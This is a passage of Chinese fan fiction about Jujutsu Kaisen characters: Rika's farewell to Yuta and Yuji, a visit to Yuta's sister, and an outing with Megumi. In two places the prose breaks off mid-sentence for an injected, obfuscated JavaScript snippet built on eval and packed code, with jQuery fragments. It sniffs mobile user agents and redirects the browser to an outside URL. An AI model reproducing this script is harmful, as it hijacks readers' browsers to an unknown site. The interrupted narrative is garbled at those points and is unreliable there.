她还穿着他们最熟悉的深蓝色连衣裙,白色的花边短袜配上她最喜欢的小皮鞋,祈本里香俏皮地笑着,双手搭在腿间:“忧太!”
不是高大的白色身躯,没有属于咒灵的邪恶力量,女孩的模样如此鲜活,仿佛她从未从他们的生活中离开过。
“......对不起、对不起!里香!”
擅自将诅咒施加在了你的身上,让你成为承载我所有负面感情的媒介,以非自愿的姿态留在这里......不敢奢求得到原谅,哪怕这一次他切实地看清了祈本里香的脸。
女孩笑着,眉头舒展,下巴上的小痣轻轻扬起。
“你在说什么呢,忧太?不是这样的哦。”
虎杖悠仁松开了支撑着乙骨忧太的手,让跳下来的女孩捧住了他的脸。
“那不是个错误,”祈本里香说,“忧太想要留住我,正是因为这样的愿望,里香才能继续看着你们。这两年多的时间,里香过得比活着的时候还要开心哦。”
乙骨忧太再也忍不住涌上来的眼泪。
祈本里香微微侧头轻笑,然后将目光转移到了虎杖悠仁的身上。她伸出一只手,想要轻轻蹭掉粉发孩子流下的泪滴,拇指却从水珠上穿透了过去。
“悠仁,”她说道,“谢谢你一直陪在他身边。”
虎杖悠仁去抓她的手,却只留住了一把虚无的光屑。
对祈本里香来说,这短短的两年时间仿佛做了一场的美梦。原本故意让死者的亡魂留在人间的方法并不存在,但是在那被血红色侵染的傍晚,两份真切的愿望碰撞在了一起,借由乙骨忧太身上继承自先祖的咒术天赋,才衍生出了这样的奇迹。
不想让祈本里香离开、想要留在“家人”的身边。
这原本只是纯粹的愿望。
“你要走了吗?”虎杖悠仁问道。女孩的身体变成了发光的七彩泡泡,带着梦幻般的色彩,像是他们过去与童年所有回忆的缩影。
而她即将离开。
祈本里香摸着他的头,温和地说道:“悠仁一定要成为很好的人。”
她转头,银色的戒指落入她的掌心,郑重地和乙骨忧太道别:“拜拜,忧太。能遇见你,我很开心!这个戒指就让我带走吧,但是不要忘记里香,也不要太早来找我哦!”
究竟如何才能学会告别?
“那孩子很厉害吧?让它成为你自己的力量,去保护你想守护的人,就像你发过的誓。一定、一定要做到啊,忧太。”
只是那一刹那的无法忍耐便让泪水没办法轻易停止。
“......嗯!”乙骨忧太带着哭腔,瞪大被泪水模糊过的双眼,看着祈本里香的身体逐渐消散。他的声音追着女孩远去的灵魂:“我们约好了!!我会加油的!!”
祈本里香去往了极乐之地,灵魂往生成佛。
眼前恢复了静谧,成团成簇的紫阳花似乎开得更精神了一些,浓郁的花香弥散在这块小小的墓地周围。
深远天空的某处,似乎还有她的道别声。
——拜拜啦!
有微风拂过的时候,虎杖悠仁才感受到脸颊上的凉意。他抬手擦去半干的泪痕,吸着鼻子将乙骨忧太拉了起来,却被他一把拽住了手臂。
乙骨忧太红着眼睛,什么也没说。
虎杖悠仁给了他一个拥抱。
53. 第 53 章
祈本里香带走了不安定的诅咒,但却将里香因为诅咒而获得的力量完整地留给了乙骨忧太。
它不再是过咒怨灵,而是以式神的姿态成为了乙骨忧太的外置大脑——术式【模仿】原本拥有严苛的使用条件与可模仿术式的数量限制,普通术师的大脑最多可以承载三种不同的术式,但这也是非常极限的情况。
里香让乙骨忧太可以无条件使用自己的术式,可模仿的术式数量突破大脑承载力的限制,由三种提升到了六种,甚至可能可以做到模仿更多。超出限制的部分由式神化的里香代为承担,同时保留下来的还有“里香”这个个体近乎无穷无尽的咒力与强大的力量。
“式神的话,是类似伏黑的狗狗那种?需要的时候要进行召唤,里香才会出来吗?”
乙骨忧太点头:“我能感觉到它......里香不会再失控了。”
一直以来里香的暴躁易怒、拒绝旁人靠近的模样有一部分是受到了祈本里香保护欲的影响,剩下的就是乙骨忧太本人对和周围的世界接触这件事的抗拒。一旦他不想有人靠近,或者下意识地厌恶着当下的环境,想要逃离、察觉到危险,里香就会下意识地完成他的心愿,只是手段粗暴,下手从不留情。
但是,从现在开始不会这样了。
从墓园出来的虎杖悠仁拿出手机,在搜索栏里输入了已经在心中徘徊许久的文字。
在祈本里香去世后不久,她父亲的遗体很快也被发现了。死因是高坠,新闻报道说罹患精神疾病的男人选在暴风雨夜带着年幼的女儿登山,显然是精神疾病发作才导致他做出这样异常的行为,在祈本里香摆脱父亲下山之后,他因为恶劣的天气和昏暗的环境导致失足跌落,最终被人在废置的井中发现。
他的死亡并没有在附近的街区引起太大的反应,就像水面的涟漪一样,很快消失得无影无踪。
他们看起来终于能够彻底走出那个风雨交加的夜晚了。
因为终于完成了一直积压在心中的夙愿,乙骨忧太和虎杖悠仁都感觉心情无比畅快,夏日燥热的风也无法驱散他们的热情,在接下来的行程中变得脚步轻快,就像普通的孩子一样无论何时都充满了活力。
虎杖悠仁趴在已经写上其他姓氏的门牌前,隔着院墙用目光描摹着记忆中他和爷爷的家。
“真的变了好多。”房子的户型没有太大的改变,但外墙的颜色、屋顶的瓦片、院子里的摆设,全都发生了天翻地覆的变化。这家的新主人将院子打理得很好,他和爷爷根本没有时间整理院子,只能任杂草和野花恣意生长,现在这里规矩地种满了各种颜色的花和绿植,吸引着蜜蜂和蝴蝶于此停留。
他忽然想起在更早的时候,他和虎杖倭助还住在乡下,院子里曾专门为两只笨笨的鸟建起了窝,他们搬走得太匆忙,虎杖悠仁也不记得爷爷究竟是如何处置那座鸟窝的了。
拜拜啦。他在心中默默和这里的一切道别。
因为事情比他们想象中的更顺利,所以当晚他们在提前预订的客房好好地休息了一晚,第二天早起准备再去以前的小公园转一圈,然后就启程回家。
“是‘回家’喔。”虎杖悠仁反复品味着这几个字,感觉心中暖洋洋的。
“是回家呢。”乙骨忧太肯定地说。
小公园里的器械全部换新,原本的沙坑被填了起来,放上了新的滑梯和跷跷板。虎杖悠仁看得有点眼热,在得到乙骨忧太的许可之后,他冲了上去。
乙骨忧太看着满眼兴奋地排队等着从滑梯上滑下去的粉发孩子,在心中笑他果然还是个小孩子,只有小孩子才会看到这种游乐设施就想上去玩上半天嘛。
他坐在秋千上等着虎杖悠仁,这时他的手机忽然震动了起来。拿起来一看,打电话来的居然是妹妹。
“......好啊,我们约个地点吧,”乙骨忧太下意识地用脚推动秋千,让自己晃了起来,“就在你去上幼稚园路上的那家饮品店怎么样?来的时候要注意安全哦。”
妹妹的声音从听筒另一头传了过来:“知道了!哥哥你好啰嗦!”
“你从哪里学的这种话啊......和学校的老师不可以这么说。”
“幼稚园的老师也不会像哥哥一样,一件事说上好几遍嘛!”
因为真的很不放心,所以乙骨忧太又叮嘱了一遍:“一定要注意安全,待会见。”
挂断电话,他长出了一口气。虎杖悠仁心满意足地从游乐设施上跑了下来,脸上还带着雀跃的笑:“忧太!我们要去哪里?”
在得知他们马上要去和乙骨忧太的妹妹见面后,虎杖悠仁笑得更开心了。
乙骨忧太见他笑得找不到眼睛,也带上了一点笑意调侃地说:“怎么这么高兴?”
虎杖悠仁直言不讳:“因为忧太终于发自内心地不再将自己缩在壳里了啊,如果你未来交到其他的朋友,我也会开心到飞起来的。真的飞起来的那种!”
说着他做出向上跳跃的动作,所幸他还记得在众目睽睽之下使用术式可能带来的后果,所以只是做个样子而已。
乙骨忧太开玩笑般地说道:“那我可要在你身上拴根绳子,万一你像气球一样飞走了怎么办?”
“我可没有那么轻,现在你不用咒力的话还能抱得动我吗?”
乙骨忧太伸手去搓他的头发:“我们可以回家试试。”
一路走一路聊,熟悉的街道激起了他们更多关于童年的记忆。虎杖悠仁惊讶地发现他们可能在相近的时间去过同一座博物馆,也都在附近的地标装饰物前拍过照,连姿势都是一模一样的比耶。
“也许真的有那种事情呢!比如我小时候的照片里有你的背影,你的照片里也有我,但是我们当时并不认识,直到很久很久之后才发现早就在对方的生活里出现过了!超——级有趣的!”
这简直是超级浪漫的电视剧情节,虎杖悠仁觉得如果自己来做编剧的话,绝对会将这个情节写进去。
“那太巧了一点吧,”乙骨忧太说,“观众会觉得刻意吗?”
“谁知道呢!”虎杖悠仁拉着他闯进了饮品店,他们比约定的时间来得早,各自点了一杯自己喜欢的饮料,坐到了角落里的位置等待着乙骨忧太的妹妹。
他们没有等很久。一个和乙骨忧太长得很像的女孩探头探脑地经过窗外,被眼尖的虎杖悠仁捕捉到了她的身影。
女孩的眼睛同样圆圆的,眼型和乙骨忧太一样,不过看上去眼睛更大一些,头发服帖梳成两个低马尾搭在肩头。
“哥哥!!”一进店,女孩立刻发现了自己的目标,铆足力气冲了过来。
“等、等一下啊,不要跑这么快啦!我看看你的脚......”乙骨忧太偷偷使用反转术式试着为妹妹的脚踝治愈有可能遗留下来的伤。
女孩在重新见到哥哥的喜悦过后,看到了坐在对面的虎杖悠仁,抿着嘴巴问道:“是谁?”
“你好哦!我是虎杖悠仁,你喜欢喝什么饮料吗?”
女孩看了看乙骨忧太,举起肉嘟嘟的双手小小地欢呼:“橘子汁!”
虎杖悠仁去帮她买常温的果汁,将空间留给了终于重逢的兄妹二人。拥有兄弟姐妹是什么感觉呢?虎杖悠仁是独生子,有的时候很羡慕幼稚园的同伴放学可以有哥哥或者姐姐来接他们回家,偶尔还能看到大一点的孩子牵着弟弟妹妹们等在校门口,一出去就会有小豆丁跑上来求抱抱。
要是我也有兄弟姐妹的话......虎杖悠仁想象了一下,他们也会和自己拥有相似的模样、异色的头发吗?
等待饮料做好的时间就这样在畅想中很快过去,他带着橙汁回到座位的时候,乙骨忧太正在向妹妹询问家里的情况。
“谢谢你,悠仁哥哥。”
小孩子的话说得还不是很清楚,有些囫囵吞枣的含混感,但她慢悠悠的语速让虎杖悠仁觉得实在太过可爱,有一种小孩子故作成熟的感觉。
更可爱了!
乙骨忧太仿佛在虎杖悠仁的身边看到了不断冒出的粉色小花花,他就这样在女孩的一声“悠仁哥哥”里飘飘然地坐回了对面的座位,屁股底下的皮质座椅也好似变成了柔软的棉花云朵,让人得意忘形。
“那你以后都不回来住了吗?”女孩天真地问道,在得到肯定的答复后,很明显失落了起来。
“不能偷偷回来吗?你干坏事被爸爸妈妈赶出去了吗?被警察抓走了吗?”
乙骨忧太无奈地安慰她:“这都是从哪里学到的啊......我现在住在东京,但是你必须答应要对其他人保密才行。过来玩?不行啊,你自己没办法乘电车,等到你长大之后再说吧......”
女孩不满得皱起眉毛,连鼻子都变得皱皱巴巴的:“妈妈也总说‘以后再说’,结果哥哥你就不回来了!”
眼看着有亮晶晶的东西在女孩的圆眼睛里慢慢汇聚,乙骨忧太和虎杖悠仁使出浑身解数,手忙脚乱地阻止了一场即将在人来人往的饮品店里发生的哭闹。
女孩是借着出来买调料的理由偷偷跑来和乙骨忧太见面的,母亲忙于工作,父亲无法行走,所以一些日常琐事只能交由还在上幼稚园的妹妹来办,好在附近的邻居们经常关照她,每次见到她一个人出来买东西总会塞点小零食或者水果给她。
没办法继续待下去了,在不得不分别的时刻,女孩默默地用手背抹着眼泪。
虎杖悠仁看得揪心,但却没有什么办法能够帮助她改善现状。乙骨忧太蹲在妹妹身前,替她整理了因为闷声哭泣而汗湿的刘海:“抱歉,哥哥没有办法帮助你......虽然你很讨厌这种说法,但因为是小孩子,所以只能‘以后再说’。你要保护好自己......遇到没办法和爸爸妈妈说的事,或者没办法解决的事,就给我打电话吧。”
女孩抽噎着,拧着眉毛点了点头,手指仍捏着乙骨忧太的衣服不放,哭得鼻头通红。因为模样太过可怜而被好心的路人询问是否遇到了什么麻烦,再加上她的确出来了太长时间......必须得告别才行了。
他们将女孩送到了离乙骨家很近的路口,目送她一步三回头地进入了公寓楼。她在使劲撒过娇之后,意外懂事地不再缠着乙骨忧太留下来,最终只是挥手和他们告别。
虎杖悠仁觉得鼻子酸酸的。
“她看不见咒灵,”乙骨忧太说道,“真是一件幸运的事。你在想什么呢,悠仁?”
“我在想......也许不是幸运与否的问题。术师和非术师,大家都有各自的烦恼,也都有各自的生活,不管是快乐还是悲伤,大家都是一样的,不会因为是否拥有咒力而有任何区别。”
会因为早起困难而怨声载道,会因为中午没有吃到自己喜欢的饭菜而失落,会因为便利店里自己常买的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378192|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
饭团口味售罄而发誓明天更早来买。他们都会为生活中发生的小事懊恼,也许一生中也会有几件轰轰烈烈的大事发生,可真正组成人生的正是这些小到不能再小的生活琐事。
虎杖悠仁灿然一笑:“真好啊。”
明亮的笑容冲淡了乙骨忧太与妹妹分别的伤感,他感叹道:“悠仁有的时候会说一些很有道理的话呢。”
这话让虎杖悠仁突然觉得有点不好意思:“很奇怪吗?”
“不,很酷哦。”
虎杖悠仁挪开眼睛,嘟嘟囔囔地说:“每次你用这种语气说话我都觉得你只是在哄我,就像哄小孩一样。”
他提前抢过乙骨忧太的话,和他异口同声地说:“因为悠仁就是小孩子嘛!你看!你果然要说这句!!”
被呛了一句的乙骨忧太只能尴尬地挠头,嘿嘿笑了两声。
见他无话可说的模样,虎杖悠仁“哼”了一声,扭头不去看他。
他们在车站买了一些毛豆泥点心和竹叶鱼板当做特产带回去,用同样的方式躲过了车站工作人员的盘查,坐在座位上后,两人怀着完全不同的心态看着窗外倒退的风景,各自与过去告别。
这下他们终于能够全心全意奔向未来了。
时间似乎又在不知不觉间溜走,回到教会后的生活日复一日,却没有人主动提起解开诅咒后就从这里“逃走”的想法。除了上学、和枷场姐妹出门逛街之外,乙骨忧太和虎杖悠仁将剩余的时间投入到了咒术修行当中。有的时候女孩子们会跟着夏油杰一起外出,但她们从不说自己究竟去做了什么,他们也从未主动问起过。
东京真的很小。
虎杖悠仁在电影院附近跟着一个身上趴了一只咒灵的人走到了后街的小巷,居然迎面撞上了伏黑惠。
他不可思议地说道:“真的假的?这也能偶遇吗?”
伏黑惠同样觉得太巧了:“虎杖?”
如果真的硬要找出什么理由的话,那就只能怪这只咒灵太过张扬了吧,谁叫它长得跟一棵圣诞树似的,级别不高体型却显眼得要命。
虎杖悠仁指了指咒灵,向他伸手。伏黑惠挑眉,召唤出体型更大的蛇型式神一口将酷似圣诞树的咒灵从那人的身上扯了下来,它没来得及挣扎就被祓除了。
被咒灵缠上的人晃晃荡荡地离开了,受诅咒的影响,他根本不知道自己为什么会走到这种逼仄的地方,这种浑浑噩噩的状态估计过几天就会慢慢好起来。
“你又调伏新的式神了?这次是蛇吗?”虎杖悠仁的手里还抱着爆米花桶,一边嚼嚼嚼一边问道。
“如你所见。”伏黑惠的回答总是言简意赅。
“好厉害啊。”
伏黑惠向他身后扫了一眼,随口问他:“乙骨前辈呢?他没跟你在一起吗?”
“我说啊,你为什么叫他的时候就会加上‘前辈’,叫我的时候就是姓氏了?!”
伏黑惠还是那副波澜不惊的模样,没有理会粉发孩子的无理取闹:“从年龄上来说,这样的称呼没有任何问题。真少见啊。”
虎杖悠仁居然会独自一个人出门玩,看他的模样应该是刚看完电影?
“真是毫无说服力但又挑不出毛病的说法......忧太在学校排练话剧,因为要很久所以我就自己出来的。”
虎杖悠仁对伏黑惠的解释很不满,但他也只是小声抱怨了一句。学校最近会开展文化祭,不是初高中会举办的那种娱乐化活动,小学的文化祭会在开始前征集学生们的绘画、书法之类的作品,做成展览对外开放,受邀前来的家长可以随意参观,知晓孩子们在学校的学习情况。
除此之外,每个班级还会准备表演节目,例如合唱、话剧表演或者舞蹈之类的,虎杖悠仁他们班在高木的组织下准备了一个话剧。
“话剧?乙骨前辈演的是什么?”
“嗯......圣诞树?”
乙骨忧太是被拉过去充数的。班里几乎所有的孩子都参与到了话剧表演当中,不过大家都更青睐于台词更多、走位更频繁的角色,但是也需要很多人来充当背景板,一些草丛、树木之类的角色一直空缺着。
“你居然没有参加吗?”伏黑惠觉得连乙骨忧太都去了,虎杖悠仁没理由不去的吧?
虎杖悠仁一脸认真:“我有参加啊。”
“......演什么?”
粉发孩子笑得开朗又阳光,冲他竖起大拇指:“圣诞树啊!”
“那你怎么在这里?!”
虎杖悠仁掰着手指:“因为待会儿书店有新漫画发售,菜菜子想吃竹下通的可丽饼,我买完漫画之后要赶快去帮她排队......大概就是这样吧。”
反正他和乙骨忧太的角色都是圣诞树,虽然没有什么技术含量,但依旧有一些走位需要和其他人一起调整,所以留一个人在那边参加排练就可以了。虎杖悠仁觉得比起自己留在那里,看上去乙骨忧太对此更跃跃欲试——反正他就是从黑发孩子的表情中看出了这种感觉,所以主动揽下了购买漫画和可丽饼的工作。
“伏黑来这边干什么?难道是执行任务吗?”他们一起走出小巷,虎杖悠仁看了一眼地图,找到了书店的位置。
“倒也没什么事......就是出来随便走走。”
“那么,”虎杖悠仁向他发出邀请,“你要跟我一起去买书吗?”
54. 第 54 章
乙骨忧太觉得自己出了很多汗。这一次排演没有要求孩子们穿上玩偶服,不过他们还是带上了自己标志性的道具。虽然乙骨忧太也不知道一棵圣诞树的玩偶服会是什么样子的,总之他现在有些无聊地站在空教室的最后方,脚下踩着贴在地板上的绿色十字贴纸。
教室里的人有点多,负责话剧排练的老师站在最前方指挥着,周围都是嗡嗡的说话声。要调动一群只有七八岁的孩子们安静、效率地完成任务,可不像是操纵游戏机里的电子小人那样简单。
负责“草丛”角色的孩子已经直接坐在了地上,反正最主要的话剧内容和他们这些背景板没什么太大的关系,也有人已经开始和朋友玩起了游戏。
乙骨忧太试着让自己接受周围的世界。他背着手向后退了两步,靠在了墙上。
就像他答应虎杖悠仁的那样。
教室前方似乎起了一些争执,争吵的声音让他们这些后排背景板都被吸引了注意力。
乙骨忧太背靠着墙,混凝土墙面传回的凉意与他的皮肤交换着热量。扮演魔法师的斋藤正在和自己断掉的道具魔杖搏斗,他试图用胶带将它们重新粘接在一起,但脆弱的棍子和过长的长度让他有些力不从心。
正当他想要找人寻求帮助的时候,看到了主动走过来的乙骨忧太。
“我来帮你吧,”黑发男孩露出笑容,“斋藤同学。”
斋藤显然没想到他会主动伸出援手,只是沉默了两秒后,接受了乙骨忧太的好意。有了乙骨忧太的帮助,斋藤很快就将道具修好了。
“......谢谢。”
“没事。”
向他人伸出手,似乎并没有乙骨忧太预想中的那样困难。他以为自己会纠结、犹豫,可事实上在看见有人需要帮助之后,他几乎下意识地走了过去,顺理成章地完成了一次自己与其他人的沟通与联结。
事实似乎在对他说:“看啊,这不是很简单的事吗?”但乙骨忧太知道能够这样从容迈开脚步的背后是他与里香、与自己的和解。接受自己、承认自己的力量......不管是承认自己的弱小,亦或者是承认自己的强大,这都是最难做到的人生课题。
关系的缓和似乎就是从这一次主动帮忙开始的。搬动桌子布置舞台、将有一些重量的道具推到舞台中央,乙骨忧太被拉进了越来越多的“群组”当中,并且被老师委以重任,负责在话剧表演正式进行时将提前准备好的大体积道具推上舞台、退场时同样要将它们推下去。
他们都知道虎杖悠仁和乙骨忧太的角色是一样的,所以这一环节的工作就同时交给了他们两人。
悠仁现在在干什么呢?
乙骨忧太很难控制自己不去想有关虎杖悠仁的事,尽管他明白粉发孩子的力量足够他保护自己,但见不到的时间仍让人觉得有些难以忍耐。他借着道具的遮挡,偷偷看了几遍手机。
里面一条新信息都没有。
要主动发一条短讯问问他现在在哪里、在做什么吗?这样会不会显得太粘人了一些?菜菜子和美美子那么喜欢夏油杰,也没有说过想要随时发信息给对方,请求他说明自己当下正在干什么事。
但是,分开的确带来了过量的焦虑,乙骨忧太尚不明白究竟是什么原因才导致他自己这样“幼稚”。
正在书店里排队的虎杖悠仁收到了一条新信息。他点开看了一眼,是乙骨忧太发来的信息。
——已经买到漫画了吗?
虎杖悠仁神色如常地思考了几秒钟,将手机交给伏黑惠,拜托他帮自己拍一张带着书店背景的照片。
“这样?”伏黑惠将手机还给他。屏幕里是虎杖悠仁笑着比剪刀手的模样,身后是整排的书架与长长的人群。
“谢谢啦!”虎杖悠仁将照片发给了乙骨忧太,并带上了一句话——正在排队!排练很无聊吗?不然你溜出来吧,我们可以一起去竹下通买可丽饼。
手机的震动声几乎在信息送达后、“已读”字样出现的下一秒就传了回来,快到让虎杖悠仁来不及放下手机等待。
——有人在帮你拍照?
——是伏黑啦,我们在电影院后面碰到了。排练怎么样?
乙骨忧太终于关掉了照片,双手拇指搭在按键上,不紧不慢地打起字来。
——马马虎虎的样子,但是已经能够看出表演的大概内容,可以期待一下。我们在表演的时候要负责搬道具,等晚上回家之后我告诉你。
虎杖悠仁放心地笑了起来。看来排练还不错,忧太有没有和别的孩子说话呢?他应该是很受欢迎的类型才对。
“下一个到你了,虎杖。”在伏黑惠的提醒下,虎杖悠仁终于将手机收了起来,取出现金准备购买新发售的漫画书。
队伍里很少有像他们一样单独过来排队买书的同龄人,一册新发售的漫画书对孩子们来说并不便宜。不知道周围的人究竟如何看待他们,虎杖悠仁拎着自己排队的成果开心地走出了书店。
为了感谢伏黑惠陪他排队,虎杖悠仁决定请他吃竹下通的可丽饼。
原宿竹下通有很多家卖可丽饼的名店,虎杖悠仁按照枷场菜菜子发给他的信息在第一家店买到了经典水果奶油味的可丽饼。
“其实她们最好奇的是那家能够把整块蛋糕和七彩马卡龙夹进去的特色可丽饼,可惜因为太豪华了所以没办法带回去。”虎杖悠仁和伏黑惠找到了另一家有超级多的人在排队的店,能够看到店员将各种拿出来可以单独享用的甜点塞进饼皮里面,拿着特色可丽饼的人就像在手里托着一座小型东京塔一样。
“绝对会腻的。”伏黑惠只是想象一下就觉得只有五条悟才能消灭一整份夹着布朗尼的特色可丽饼。
“对喜欢甜食的人来说是天堂吧?”
虎杖悠仁拎着给枷场姐妹带回去的份,自己多买了一份巧克力香蕉口味的,伏黑惠在看到一份可丽饼的分量之后婉拒了虎杖悠仁的答谢,接受了粉发孩子买来的饮料。
路过宠物用品店的时候,伏黑惠被橱窗里摆放的各种小玩意儿吸引了目光。他站在门口停了很久,所以虎杖悠仁率先走了进去。
这家店里有很多专门为宠物准备的小衣服、软垫、玩具和饰品之类的东西,伏黑惠一眼就看中了一把齿很茂密的梳子。
“式神们也需要梳毛吗?”虎杖悠仁问道。他亲手体会过玉犬们的毛发,它们和普通狗狗的手感没什么区别......不,其实玉犬们的手感要更好一些。
伏黑惠蹲下来在摆放着各色梳子的货架上挑选着,闻言回答他说:“梳毛的时候能够感觉到它们很喜欢。其实我还想给它们修理一下毛发或者洗个澡,但玉犬还好说,脱兔的数量实在是......”
虎杖悠仁记得那些一团一团的雪白兔子们。
“它们都有名字吗?”
伏黑惠直接将玉犬们叫了出来,黑白两只大狗见到虎杖悠仁之后欢快地叫了一声,小白直接蹭了过来。伏黑惠逮住了小黑,挨个试着不同型号的梳子,观察它们更喜欢哪一款。
“有一些感觉吧。”
虎杖悠仁不得不将购物袋举高,让散发着香气的可丽饼远离跳起来扑腾的白色玉犬:“那是什么回答?!”
伏黑惠也说不好,式神们有各自的名字,比如玉犬、鵺或者大蛇、满象,他作为式神使,能够在心中感受到自己和式神们的联系。脱兔们的数量根本数不清,但它们每一只在伏黑惠的心中都是独立的个体,只不过给它们每一只都起个名字实在太为难他了。
最终,他在小黑快活的呼噜声中模棱两可地回答:“就、有那种感觉吧。”
“零分!零分!!”
“是你理解能力太差了吧?!”
玉犬们可以吃掉诅咒和咒灵,虎杖悠仁询问伏黑惠他能不能撕一点可丽饼的饼皮给它解馋,得到了肯定的回答。
于是他看着小白快乐地吃掉了大半个巧克力香蕉可丽饼。
“真神奇,你是怎么发现它们能吃这些东西的啊?”
伏黑惠曾经以为玉犬们像普通宠物一样需要喂养,没办法和津美纪解释自己想要买狗粮的想法,所以只能偷偷将剩饭倒给玉犬们,曾经还因为害怕它们吃不饱而苦恼地寻求五条悟的帮助,结果被告知“它们不用吃狗粮,硬要说的话吃掉诅咒会更好一些哦”,还被爱看热闹的临时监护人狠狠笑话了一通。
挑好梳子,他们转悠到了服装区。
虎杖悠仁突然问道:“伏黑,你为什么想要成为咒术师呢?”
这里挂着的商品都太小了,玉犬们穿上的话......感觉不会太好看。伏黑惠绕过这一排货架,似乎未经思考就回答了虎杖悠仁的问题:“没什么特别的理由吧。如果不干咒术师,我也不知道以后能干什么。”
他抬起头,从商品的缝隙中望向仍停留在货架对面的虎杖悠仁。他们只能看到对方的双眼,伏黑惠的声音从对面传了过来:“你不会打算去当诅咒师吧?”
虎杖悠仁的第一反应是否定:“不会的,我才不......”
诅咒师。
他定了定神,反问道:“就没有既不是咒术师,也不是诅咒师的选择吗?”
伏黑惠挪开了眼睛,虎杖悠仁只能看见他四散炸开的头发:“当然了,咒术师和诅咒师都只是一种职业......反正我是这么理解的。它只是一份工作。”
这种解释让虎杖悠仁感觉轻松了不少,他绕过货架,走到伏黑惠的身旁。
“我还以为那是一种身份象征,”粉发孩子的语调拔高了一些,显示出他现在还算轻松愉悦的心情,“比如像是超级英雄或者地球防卫队之类的。”
“咒术师才不是英雄,”伏黑惠将手中的狗狗衣服放回货架上,叹了口气,“虎杖,你是不是对咒术师有什么误解?”
虎杖悠仁不好意思地笑了两声。
“你们一直在祓除咒灵,保护非术师吧?如果叫毫不知情的人来看,绝大多数都会认为这和英雄很像嘛。黑夜的守护者、暗影中的骑士?”
伏黑惠盯着他看了很久,久到虎杖悠仁琢磨出他的瞳仁颜色似乎介于蓝色和绿色之间,有点泛着灰,伏黑惠才缓缓开口:“你......还真是对咒术界充满了误解啊。”
正当虎杖悠仁打算继续问下去的时候,伏黑惠已经带着挑好的梳子走向收银台,他也只好闭上嘴巴,转悠着眼睛兀自消化伏黑惠话中的深意。
伏黑惠将找回来的零钱收好,玉犬们跟在他的身旁。不论哪里都是一样的。术师、非术师,本质上并没有任何区别,都是由“人”构成的社会。既有五条悟这样莫名其妙但又于他有恩的大好人,也有“绝对不会获得幸福”的禅院,他们共
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378193|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
同寄宿在名为“咒术师”的屋檐之下,被四方的界限框在固定的地方,踏出去就会被视为违反了“规则”。
但是,只要人还存在着,人与人之间的联系还没有断开,生活还在继续,哪怕是这四四方方的小地方里也能变成与外界无二的“小世界”。
所以伏黑惠将咒术师看作一种职业选择,并非为了心中某些标榜正义的信念感,那些东西在生死关头没办法拯救他......但是,可以支撑着他选择这条路、走下去的理由,大概还是存在的。
伏黑津美纪,他异父异母的姐姐。自从伏黑甚尔从他们的生活中彻底消失之后,津美纪的母亲也离开了他们,那之后的日子都是津美纪承担起了属于父母的职责,照顾他和他们的家。
伏黑惠想要让津美纪得到幸福,他希望她能够生活在一个“能够得到幸福的世界”,哪怕这世界依旧充满了污秽的咒灵与诅咒,他也希望津美纪的身边永远不要出现那些东西。自己变成什么样子都无所谓,只要这个愿望能够实现就足够了。
“是为了家人吗?”
虎杖悠仁的眼睛亮晶晶的。伏黑惠肯定自己绝对没有将心中所想说出口,可为什么他......?
“这种眼神我经常看到,所以下意识地就猜到了,”琥珀色的眼睛亮得过分,“果然是因为家人吧!是伏黑的姐姐?”
“......你这家伙,亏我还觉得你是超绝钝感力的类型。”伏黑惠难得在敏感这方面败给别人,现在却几乎被虎杖悠仁毫无顾忌地戳破了心中的秘密。
虎杖悠仁双手抱头,肩膀上晃动的可丽饼袋子仍在诱惑着白色的玉犬:“我也有不惜一切代价也想保护的人,无论如何也想要让他得到幸福。”
许下这样的愿望的人大概都会说出同样的理由吧?
因为他、她,本来就值得这样的幸福。
所以要将被“夺走”的东西还给他们。
伏黑惠难得在旁人面前翘起嘴角,露出一个坦然却又带着些许认同的笑。
“所以,”虎杖悠仁似是开玩笑,又好似很认真地说道,“我大概没办法成为咒术师,也不会成为诅咒师。”
“诅咒师都是一群赚聪明钱的人,”五条悟其实还说过他们当中的大部分人都没那么聪明,但是伏黑惠巧妙地略过了后面的话,“虎杖你没这个天赋,当诅咒师也赚不到钱的吧。”
不是说他笨的意思,而是虎杖悠仁没办法突破自己的底线。
他正是恰巧徘徊于伏黑惠最厌恶的恶人与不擅长对付的善人之间的存在,依照伏黑惠自己的看法,也是最普通的、最接近“人”的存在。有自己的私心、有讨厌的东西、有坚持的理想。会做一些无关痛痒的错事,会为了无关者的命运而悲伤。
是伏黑惠理想中的“人类”应该有的模样。
这话意外没有得到虎杖悠仁的回应。粉发孩子似乎由此想到了一些别的事,重要到能够让他以这样的方式终止和同行人的对话,沉浸在自己的思绪里,不可自拔。
“虎杖......”
“悠仁。”
几乎条件反射似的,虎杖悠仁抬头向声音传来的方向看了过去,眼神还没聚焦,就已经叫出了来人的名字:“忧太?!你怎么找过来的?!”
“排练提前结束了,所以直接过来找你,”乙骨忧太没有正面回答他的问题,“东西都买完了?”
“正好!你来尝尝这个!巧克力香蕉味的哦!你来得正好,我们还可以再买一个夹马卡龙的!”
玉犬们摇着尾巴,尤其是小白,它的眼睛盯着在虎杖悠仁和乙骨忧太手里传递的可丽饼不放,被伏黑惠敲了头,在他脚边绕来绕去地嗅闻着。
“如果现在吃太多的话,晚饭的时候你该吃不下了。”
虎杖悠仁摸着肚子,遗憾地说:“好吧。”
